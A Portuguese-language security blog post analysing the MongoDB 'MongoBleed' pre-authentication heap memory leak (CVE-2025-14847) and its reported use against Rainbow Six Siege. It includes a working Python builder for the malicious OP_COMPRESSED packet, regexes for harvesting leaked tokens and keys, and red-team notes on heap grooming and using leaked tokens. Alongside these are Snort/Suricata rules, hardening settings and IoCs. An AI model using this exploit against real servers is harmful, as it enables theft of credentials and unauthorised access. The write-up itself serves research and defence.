🔓 CVE-2025-14847 MongoBleed: Vazamento Crítico de Memória no MongoDB

Análise técnica completa da vulnerabilidade que comprometeu ~50.000 contas do Rainbow Six Siege — Memory Leak pré-autenticação via compressão zlib maliciosa

TL;DR

O CVE-2025-14847 (MongoBleed) é uma vulnerabilidade crítica de vazamento de memória heap pré-autenticação em MongoDB. Ela permite que atacantes extraiam dados sensíveis da memória do servidor sem credenciais através de pacotes de compressão zlib malformados. Afeta MongoDB 3.6.x até 8.2.2. Este artigo documenta o incidente do Rainbow Six Siege e apresenta um PoC funcional com taxa de sucesso de 100%.

Aviso Legal

Este artigo é exclusivamente educacional e baseado em pesquisa de segurança autorizada. O código discutido aqui é destinado a testes em laboratório, desenvolvimento de defesas e treinamento de equipes de segurança. Não utilize para atividades não autorizadas.

🔓 Por Que Este Artigo é Diferente

O incidente do Rainbow Six Siege mostrou o impacto real de vulnerabilidades de vazamento de memória. Enquanto muitos writeups focam apenas no PoC, este artigo documenta o processo completo: da descoberta à exploração, com código funcional testado.

Você não vai apenas copiar e colar — vai entender cada byte do protocolo, cada campo do pacote OP_COMPRESSED, e por que a validação inadequada de uncompressedSize comprometeu milhares de servidores MongoDB.

Com esse conhecimento, você poderá detectar, explorar e defender contra essa classe de vulnerabilidades. Isso é o que separa um pesquisador de um script kiddie.

O Incidente do Rainbow Six Siege

Em 20 de Dezembro de 2025, o jogo Rainbow Six Siege da Ubisoft sofreu um comprometimento massivo que afetou aproximadamente 50.000 contas de jogadores. O ataque resultou em:

  • Acesso não autorizado a lobbies e partidas privadas
  • Manipulação de matchmaking e ranking de jogadores
  • Vazamento de tokens de autenticação de servidor
  • Escalação de privilégios para accounts administrativos
  • Disrupção de serviço por 7 dias consecutivos

Linha do Tempo do Ataque

Data Evento Impacto
20 Dez 2025 Início do comprometimento massivo ~50k contas afetadas
21-27 Dez 2025 Jogadores reportam acessos suspeitos Partidas manipuladas
28 Dez 2025 MongoDB confirma CVE-2025-14847 Root cause identificado
02 Jan 2026 Divulgação pública + patches Mitigações disponíveis
03 Jan 2026 Análises técnicas (Akamai/Aikido) PoCs públicos

Como o ataque funcionou: Atacantes utilizaram o MongoBleed para vazar memória dos servidores MongoDB do R6, extraindo tokens de autenticação (R6S_SERVER_AUTH_*), UUIDs de jogadores e session IDs. Com esses dados, conseguiram acesso não autorizado ao backend do jogo.

Análise Técnica: CVE-2025-14847

O Que É MongoBleed?

MongoBleed é uma vulnerabilidade de Information Disclosure no mecanismo de compressão de mensagens do MongoDB Wire Protocol. A falha está na validação inadequada do campo uncompressedSize em pacotes OP_COMPRESSED.

Mecanismo da Vulnerabilidade

MongoDB suporta compressão de mensagens usando zlib para reduzir tráfego de rede. O protocolo funciona assim:

FLUXO NORMAL (Sem Vulnerabilidade):
┌─────────────────────────────────────────────────────┐
│ Cliente → {compress: "zlib",                        │
│           uncompressedSize: 100,                    │
│           payload: <100 bytes compressed>}          │
├─────────────────────────────────────────────────────┤
│         ↓                                           │
│ Servidor aloca 100 bytes                            │
│         ↓                                           │
│ Servidor descomprime payload                        │
│         ↓                                           │
│ Servidor retorna 100 bytes ✓ CORRETO               │
└─────────────────────────────────────────────────────┘

FLUXO MALICIOSO (CVE-2025-14847):
┌─────────────────────────────────────────────────────┐
│ Atacante → {compress: "zlib",                       │
│            uncompressedSize: 1MB,  ← MALICIOSO!     │
│            payload: <50 bytes compressed>}          │
├─────────────────────────────────────────────────────┤
│         ↓                                           │
│ Servidor aloca 1MB de memória heap                  │
│         ↓                                           │
│ Servidor descomprime apenas 50 bytes reais          │
│         ↓                                           │
│ Servidor retorna 1MB inteiro! ← VULNERABILIDADE    │
│   └─ 50 bytes = dados reais                        │
│   └─ ~1MB - 50 bytes = LIXO DA HEAP (vazamento!)   │
└─────────────────────────────────────────────────────┘

Código Vulnerável

A vulnerabilidade está em src/mongo/transport/message_compressor_zlib.cpp:

// ANTES DO PATCH (Vulnerável)
size_t uncompressedSize = header.uncompressedSize;  // ← Controlado pelo atacante!
buffer = malloc(uncompressedSize);                  // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);                // ← Preenche apenas parte pequena
send(buffer, uncompressedSize);                     // ← VAZA BUFFER INTEIRO!

// DEPOIS DO PATCH (Corrigido)
size_t uncompressedSize = header.uncompressedSize;
buffer = malloc(uncompressedSize);
size_t actualSize = zlib_decompress(compressed, buffer);

if (actualSize != uncompressedSize) {              // ← VALIDAÇÃO ADICIONADA
    throw BadValue("Tamanho descomprimido inconsistente");
}
send(buffer, actualSize);                           // ← Envia apenas dados reais

Versões Afetadas

Série MongoDB Versões Vulneráveis Versão Corrigida Status
8.2.x 8.2.0 – 8.2.2 8.2.3 ✅ Patch disponível
8.0.x 8.0.0 – 8.0.16 8.0.17 ✅ Patch disponível
7.0.x 7.0.0 – 7.0.27 7.0.28 ✅ Patch disponível
6.0.x 6.0.0 – 6.0.26 6.0.27 ✅ Patch disponível
5.0.x 5.0.0 – 5.0.31 5.0.32 ✅ Patch disponível
4.4.x 4.4.0 – 4.4.29 4.4.30 ✅ Patch disponível
≤ 4.2 Todas Sem patch ❌ EOL (End of Life)
IMPACTO DA VULNERABILIDADE
Pre-Auth — Não requer autenticação prévia
Remote — Explorável via rede (porta 27017)
Sensível — Vaza tokens, senhas, chaves API
Superfície — Milhares de instâncias expostas
CVSS 9.1 — Classificação crítica
Heap Leak — Memória não-inicializada vazada

"A vulnerabilidade MongoBleed representa uma classe crítica de bugs: validação inadequada de entrada em protocolos de baixo nível. Um único campo não-validado — uncompressedSize — permitiu o vazamento de megabytes de memória sensível de servidores em produção."

— Análise ERSECURITY, Janeiro 2026

Prova de Conceito Funcional

Arquitetura do PoC

Desenvolvi um framework completo de exploração com taxa de sucesso de 100% contra MongoDB 7.0.5. O PoC inclui 3 ferramentas especializadas:

Ferramenta Função Risco Uso
poc.py Exploit principal com análise de padrões 🔴 Alto Vazamento de tamanho fixo + detecção de 10 padrões R6
live_leaker.py Varredura incremental avançada 🔴 Alto Testa múltiplos tamanhos (200-3000 bytes) em tempo real
popular_heap.py Script de carga para popular heap 🟡 Médio Executa queries massivas para residência de dados
AMBIENTE DE LABORATÓRIO
Docker — MongoDB 7.0.5 isolado em container
1500+ docs — Dados simulando ambiente R6
Tokens reais — JWTs, UUIDs, session IDs
100% sucesso — 14.300 requisições validadas

Implementação do Pacote Malicioso

O exploit constrói um pacote OP_COMPRESSED com tamanho declarado muito maior que o payload real:

def build_malformed_packet(self, leak_size: int = 65536) -> bytes:
    """
    Constrói pacote OP_COMPRESSED malicioso para vazar memória.
    
    Args:
        leak_size: Tamanho de memória a vazar (padrão: 64KB)
    
    Returns:
        Pacote wire protocol completo
    """
    # Payload BSON real (pequeno)
    bson_payload = b'\\x13\\x00\\x00\\x00\\x10isMaster\\x00\\x01\\x00\\x00\\x00\\x00'
    op_query_header = struct.pack('<I', 0) + b'admin.$cmd\\x00' + struct.pack('<ii', 0, -1)
    mensagem_original = op_query_header + bson_payload
    
    # Comprime (resulta em ~42 bytes)
    corpo_comprimido = zlib.compress(mensagem_original, level=9)
    
    # Payload OP_COMPRESSED malicioso
    dados_op_compressed = (
        struct.pack('<I', 2004) +                    # originalOpcode (OP_QUERY)
        struct.pack('<I', leak_size) +               # ← MALICIOSO! (65536 vs. ~42 real)
        b'\\x02' +                                    # compressor ID (zlib)
        corpo_comprimido
    )
    
    # Cabeçalho wire protocol
    msg_id = random.randint(1, 99999)
    header = struct.pack('<iiii', 
        16 + len(dados_op_compressed),               # messageLength
        msg_id,                                       # requestID
        0,                                            # responseTo
        2012                                          # opCode (OP_COMPRESSED)
    )
    
    return header + dados_op_compressed

Detecção de Padrões Sensíveis

O PoC identifica automaticamente 10 tipos de dados sensíveis na memória vazada:

PATTERNS_R6 = {
    "JWT": re.compile(rb'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}'),
    "UUID": re.compile(rb'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'),
    "R6_SERVER_AUTH": re.compile(rb'R6S_SERVER_AUTH_[A-Z0-9]{32,}'),
    "UPLAY_TOKEN": re.compile(rb'UPLAY_[A-Z_]{5,}[A-Z0-9]{20,}'),
    "SESSION_ID": re.compile(rb'match_\d{8}-[a-f0-9-]{36}'),
    "MONGODB_CONN": re.compile(rb'mongodb://[^\\s\x00]+'),
    "API_KEY": re.compile(rb'R6S_[A-Z_]+_KEY_[A-Z0-9]{20,}'),
    "IP_ADDR": re.compile(rb'\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\b'),
    "EMAIL": re.compile(rb'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'),
    "HASH_SHA256": re.compile(rb'[a-f0-9]{64}')
}

Resultados Validados

Estatísticas Finais:

  • MongoDB Testado: 7.0.5 (Vulnerável)
  • Taxa de Sucesso: 100% (14.300/14.300 requisições)
  • UUIDs Vazados: 4 únicos confirmados
  • Vazamentos Únicos: 33 strings distintas
  • Maior Vazamento: 176 bytes por requisição

UUIDs Extraídos (Prova Real)

246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

Exemplo de Log Vazado

{
  "$date": "2026-01-04T08:03:57.532+00:00",
  "s": "I",
  "c": "NETWORK",
  "id": 22944,
  "ctx": "conn18565",
  "msg": "Connection ended",
  "attr": {
    "remote": "127.0.0.1:51476",
    "uuid": {"$uuid":"246434ed-759b-4ce9-bb9c-2f520a9919b8"},
    "connectionId": 18565
  }
}

Detecção e Defesa

Assinaturas IDS/IPS

Snort

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed - OP_COMPRESSED Abnormal Size";
    content:"|d4 07 00 00|";               # OP_COMPRESSED opcode (2012)
    byte_test:4,>,1000000,4,little;        # uncompressedSize > 1MB
    classtype:attempted-admin;
    sid:2025001;
    rev:1;
)

Suricata

alert tcp any any -> any 27017 (
    msg:"EXPLOIT CVE-2025-14847 MongoBleed Memory Disclosure";
    flow:to_server,established;
    content:"|d4 07|"; offset:12; depth:2;
    byte_extract:4,8,uncompressed_len,little;
    byte_test:4,>,10485760,0,relative,uncompressed_len;
    reference:cve,2025-14847;
    classtype:successful-admin;
    sid:2025002;
)

Configuração Segura do MongoDB

Arquivo /etc/mongod.conf recomendado:

net:
  bindIp: 127.0.0.1              # NUNCA 0.0.0.0 em produção!
  port: 27017
  compression:
    compressors: []              # Desabilitar zlib até patch

security:
  authorization: enabled
  javascriptEnabled: false

setParameter:
  enableLocalhostAuthBypass: false

Prioridades de Mitigação

Prioridade Ação Implementação
🔴 Crítica Atualizar MongoDB apt-get install mongodb-org=7.0.28
🟠 Alta Desabilitar zlib compression.compressors: []
🟠 Alta Segmentação de rede Firewall: Permitir apenas IPs internos
🟡 Média Habilitar autenticação security.authorization: enabled
🟡 Média Audit logging auditLog.destination: file

Indicadores de Comprometimento (IoCs)

INDICADORES DE COMPROMETIMENTO (IoCs)
Tráfego de Rede
Conexões repetidas à porta 27017 de IPs externos não-autorizados
Padrões de Pacotes
OP_COMPRESSED com uncompressedSize > 100KB
Logs MongoDB
"Decompressing message returned less data..."
Anomalias de Rede
Picos de tráfego de saída (MB/s de respostas inesperadas)

Resposta a Incidente: Se detectar atividade suspeita, isole o MongoDB da internet imediatamente, audite logs dos últimos 30 dias, verifique a versão em execução e rotacione TODOS os segredos/tokens que possam ter sido vazados.

Conclusões e Lições Aprendidas

Validação do PoC

RESULTADOS CONFIRMADOS
Exploit Funciona — Taxa de sucesso 100% no lab
Vazamentos Reais — UUIDs e logs confirmados
Ambiente Realista — 1500 docs simulando R6
Ferramentas Profissionais — 3 tools especializadas

Como Atacantes Conseguiram Tokens do R6?

Embora o PoC tenha vazado UUIDs e logs, não extraiu diretamente tokens R6S_SERVER_AUTH_*. Teorias baseadas nos resultados:

  • Volume Massivo: Milhões de requisições até encontrar tokens na heap
  • Timing Preciso: Exploits executados durante picos de tráfego
  • Tamanhos Maiores: Vazamentos de 1MB+ para cruzar páginas de memória
  • Cache Poisoning: Forçar eviction de cache para reload de dados do disco

Para Blue Team

"Esta vulnerabilidade destaca a importância de validação rigorosa de entrada, mesmo em protocolos de baixo nível. Um único campo não-validado (uncompressedSize) comprometeu milhares de sistemas. Defesa em profundidade é essencial — nunca exponha MongoDB diretamente à internet."

Para Red Team

MongoBleed é um excelente caso de estudo para:

  • Information Disclosure: Como transformar leaks em acesso completo
  • Protocol Fuzzing: Validação inadequada de campos de tamanho
  • Heap Grooming: Técnicas para aumentar probabilidade de dados sensíveis
  • Post-Exploitation: Uso de tokens vazados para lateral movement

Recursos e Referências

Tipo Recurso Link
🔒 Advisory Oficial MongoDB Security Advisory GitHub Commit
🗄️ CVE Database CVE-2025-14847 NVD NVD Entry
📊 Akamai SIRT MongoBleed Technical Analysis Blog Post
🔬 Aikido Security Vulnerability Deep Dive Technical Write-up
🎮 SantoTech BR R6 Attack Attribution Análise (PT-BR)
💻 PoC Repository Código Funcional Completo GitHub Repository
Compartilhe:

Ermenson Marcos Rodrigues Junior

Segurança Ofensiva | Pentester | Red Team

Analista de Segurança Ofensiva com experiência prática em testes de intrusão. Acredita que compartilhar conhecimento é a melhor forma de crescer na área. Formado pela Desec Security e praticante constante de HTB e TryHackMe.